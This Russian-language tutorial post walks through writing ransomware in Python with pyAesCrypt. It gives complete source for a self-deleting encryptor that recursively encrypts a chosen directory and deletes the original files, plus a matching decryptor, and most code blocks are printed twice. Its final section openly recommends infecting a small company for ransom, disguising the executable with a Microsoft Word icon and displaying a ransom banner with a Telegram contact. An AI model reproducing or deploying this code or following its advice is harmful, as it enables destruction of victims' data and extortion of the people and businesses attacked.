Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки редко попадается в дикой природе, и далеко не все антивирусы обращают на него внимание. Создание шифровальщика Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться. Скрипт шифровальщика Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки: direct = input("Напиши атакуемую директорию: ") password = input("Введи пароль: ") Код direct = input("Напиши атакуемую директорию: ") password = input("Введи пароль: ") Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так: with open("Crypt.py", "w") as crypt: crypt.write(''' текст программы ''') Код with open("Crypt.py", "w") as crypt: crypt.write(''' текст программы ''') Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки: import os import sys Код import os import sys Пишем функцию шифрования (все по мануалу pyAesCrypt): def crypt(file): import pyAesCrypt print('-' * 80) # Задаем пароль и размер буфера password = "'''+str(password)+'''" buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Удаляем исходный файл os.remove(file) Код def crypt(file): import pyAesCrypt print('-' * 80) # Задаем пароль и размер буфера password = "'''+str(password)+'''" buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Удаляем исходный файл os.remove(file) Вместо str(password) скрипт-генератор вставит пароль. Нюансы Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления. Теперь функция, которая обходит папки. Тут тоже ничего сложного. def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path) Код def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path) В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы. walk("'''+str(direct)+'''") os.remove(str(sys.argv[0])) Код walk("'''+str(direct)+'''") os.remove(str(sys.argv[0])) Здесь снова будет подставляться нужный путь. Исходник целиком import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0])) Код import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0])) Скрипт дешифровальщика Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант. import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print('-' * 80) password = "'''+str(password)+'''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'") os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0])) Код import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print('-' * 80) password = "'''+str(password)+'''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'") os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0])) Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем. Использование скрипта Можно придумывать уйму идей , как использовать вредоносные скрипты. Например заразить небольшую компанию и попросить выкуп за дешифратор. Все таки чтобы расшифровать винду потребуется наш пароль. Преподносить шифровальщик можно в качестве какого-нибудь делового предложения, сделать .exe файл из скрипта, поменять значок на Microsoft Word, ну и в принципе самая банальная маскировка у вас есть, если человек глупый, то файлы у него зашифруются. Можете после шифровки сразу сделать так, чтобы выходил баннер с требованиями, и указать ваш ТГ. Готово. Спасибо за внимание! Надеюсь на вашу поддержку